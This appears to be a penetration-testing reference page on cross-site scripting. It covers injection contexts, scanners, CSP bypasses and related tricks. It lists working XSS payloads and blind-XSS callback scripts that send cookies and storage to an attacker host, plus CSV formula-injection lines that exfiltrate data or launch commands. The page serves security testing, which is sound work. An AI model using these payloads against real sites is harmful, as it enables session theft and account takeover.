XSS
Sections XSS
User input rendered as HTML / JavaScript without proper escaping. Session theft, account takeover, internal recon via XHR.
T=https://target.com
i. Where it lives
Three flavors, each with different testing approach:
Reflected XSS - input goes into one response only, requires victim to click attacker’s link.
- Search queries, error messages, URL params echoed in page
Stored XSS - input persists in DB, fires for every viewer of that data.
- Comments, profile fields, messages, file metadata, log viewers, admin panels reading user data
DOM XSS - JavaScript on the page reads input from somewhere (URL hash, postMessage, localStorage) and writes it unsafely to the DOM.
- SPA URL routing, fragment-based features, postMessage handlers between iframes
ii. Context determines the payload
The exact context where input lands dictates which payload escapes it. Always identify context first.
Probe with a benign string with all the chars that matter:
xxss"'<>(`{[/
Then look at the response source. Where does the string appear?
HTML body:
<div>xxss"'<>(`{[/</div>
Need <script> or event-handler attribute injection.
HTML attribute (double-quoted):
<input value="xxss"'<>(`{[/">
Need "> to break out, or rely on quote-only break.
HTML attribute (unquoted):
<input value=xxss"'<>(`{[/>
Space breaks out, no quotes needed.
HTML attribute (event handler):
<a onclick="alert('xxss'\'\<\>(`{[/')">
JS string context inside HTML. Different escape rules.
JavaScript string:
<script>var name = "xxss"'<>(`{[/";</script>
Need ";alert(1);// pattern.
JavaScript inside JSON inside HTML:
<script>var data = {"name": "xxss"};</script>
JSON encoding plus JS context - two layers of escaping.
URL context (href, src, action):
<a href="xxss"'<>(`{[/">
Use javascript:alert(1) if browser-rendered, or external URL takeover.
CSS context:
<style>color: xxss"'<>(`{[/;</style>
Limited but expression() (IE legacy) and @import can sometimes fire JS.
iii. Tools
Burp DOM Invader (Burp Pro)
Best DOM XSS scanner available. Enable via Burp’s browser → Settings → DOM Invader. Surfs the page, tracks every source/sink in JS, reports controllable sinks.
dalfox (CLI scanner, fast)
## URL with parameter:
dalfox url "$T/search?q=test"
## From a URL list:
dalfox file urls.txt
## With custom headers/cookies:
dalfox url "$T/search?q=test" --cookie "session=abc"
## Pipe through other tools:
echo "$T" | waybackurls | dalfox pipe
## Use external blind XSS endpoint (xsshunter):
dalfox url "$T/search?q=test" -b https://attacker.xss.ht/
XSStrike (parameter mining + payload mutation)
xsstrike -u "$T/search?q=test"
xsstrike -u "$T/login" --data 'user=admin&pass=x' -P pass
Older than dalfox but useful for context detection on tricky cases.
KNOXSS
Pro service with API access. Best detection rate on real engagements, requires subscription.
CSP Evaluator
Static analysis of CSP headers, finds bypass opportunities:
https://csp-evaluator.withgoogle.com/
Paste the target’s CSP, get a list of weaknesses (unsafe-inline, unsafe-eval, missing nonce, etc).
iv. XSS Hunter / blind XSS
When XSS triggers somewhere you can’t see (admin panel viewing your stored input, support ticket viewer, log analyzer), use a callback service that fires JS to phone home:
- xss.report - modern self-hostable XSS Hunter alternative
- Self-hosted XSS Hunter Express
- knoxss.me - commercial alternative
Standard payload shape:
<script src="https://attacker.xss.report/c/abc"></script>
When it fires, you get:
- Origin (the URL where the XSS triggered)
- DOM screenshot
- Cookies (if not HttpOnly)
- localStorage / sessionStorage
- Internal IP and User-Agent
Test EVERY input that might end up in an admin viewer:
- Support tickets
- User reports
- “Contact us” forms
- Error log viewers
- Reviewer / approval workflows
v. Manual probes worth memorizing
The “always-try-first” set, in rough order of likelihood:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
"><svg/onload=alert(1)>
javascript:alert(1)
<details open ontoggle=alert(1)>
<body onload=alert(1)>
Polyglot for context confusion (one payload fires in many contexts):
'>"><svg/onload=`/*${alert(1)}*/`>
Brutelogic’s polyglot collection is the canonical reference - see references section.
vi. CSP bypass
Modern apps deploy CSP headers. Common bypasses depend on what’s missing:
unsafe-inline allowed: inline scripts run, classic payloads work.
unsafe-eval allowed but no inline: use eval(), Function(), setTimeout(string), setInterval(string) after loading a permitted external script.
Whitelisted script source:
script-src 'self' https://cdn.example.com
If the whitelisted source has a JSONP endpoint, it can be abused. Search jsonp endpoints on the whitelisted CDN. Lots of JSONP services callable from any origin.
Nonce + strict-dynamic: read the nonce from existing scripts via DOM, reuse it. Possible when you can inject HTML but not arbitrary script positions.
Object-src and base-src missing: <object data=...> or <base href=...> can sometimes bypass.
H5SC Minichallenges and Sekurak’s CSP bypass guide are good follow-up reading.
vii. Tricks worth knowing
Forbidden chars: when < is filtered
Use template literals or event-driven payloads through other vectors:
javascript:alert(1) ## URL contexts
<svg>onload=alert(1) ## HTML decoding mid-pipeline
<script> ## HTML entity decoded server-side?
Mutation XSS (mXSS)
Some sanitizers (DOMPurify older versions, server-side cleaners) mutate input differently than the browser. Payload looks safe to the sanitizer, browser interprets it as JS.
Classic example targets the difference between HTML parser and tag namespace rules:
<noscript><p title="</noscript><img src=x onerror=alert(1)>"></p>
See cure53’s DOMPurify research for current state of mXSS.
Document.domain trick (legacy)
When document.domain is set in parent and you control iframe content, same-origin tricks may apply. Mostly deprecated browser behavior in 2024+.
postMessage abuse
If the app uses postMessage between windows/iframes without validating origin:
// Open a malicious iframe, postMessage payloads back
window.open(victim).postMessage('payload', '*')
Burp’s DOM Invader has dedicated postMessage tooling.
URL fragment XSS (location.hash)
Fragments don’t go to the server. SPAs that read window.location.hash and write to the DOM are common DOM XSS sinks:
https://target.com/#<img src=x onerror=alert(1)>
File upload to XSS
HTML, SVG, XML uploads served at a path that returns Content-Type: text/html = stored XSS:
- Upload
.htmlfile - Upload
.svgwith embedded<script> - Upload
.xmlwith browser-renderable content - Polyglot upload (jpg+html)
Check the response headers when fetching the uploaded file. If Content-Type is wrong, XSS.
CSV injection (Formula injection)
When user input is exported to CSV and opened in Excel/Sheets:
=cmd|'/c calc'!A1
=HYPERLINK("http://attacker.com/?"&A1, "click")
Not XSS in the classic sense but worth checking on every “export to CSV” feature.
CSTI (Client-Side Template Injection)
Angular / Vue / React in dev mode sometimes evaluate template expressions client-side:
{{constructor.constructor("alert(1)")()}} ## Angular
PortSwigger lab has guided practice for this.
viii. References
- PortSwigger - XSS
- PortSwigger - XSS cheat sheet - searchable by context
- PayloadsAllTheThings - XSS
- HackTricks - XSS
- Brute Logic - XSS payloads - concise high-quality
- HTML5 Security Cheatsheet
- CSP Evaluator - static CSP analysis
- JSONP endpoints list - for CSP bypass via JSONP
ix. Where it leads
- Session cookie theft (no HttpOnly) → account takeover
- Action-as-victim (CSRF-like) → password change, email change, admin actions
- Internal recon via XHR to internal URLs (works since the victim’s browser has internal access)
- Worm propagation in social features (forums, comments)
- Phishing pages served from the legitimate domain
- API key theft from localStorage / JS variables → cloud takeover via 00 Cloud MOC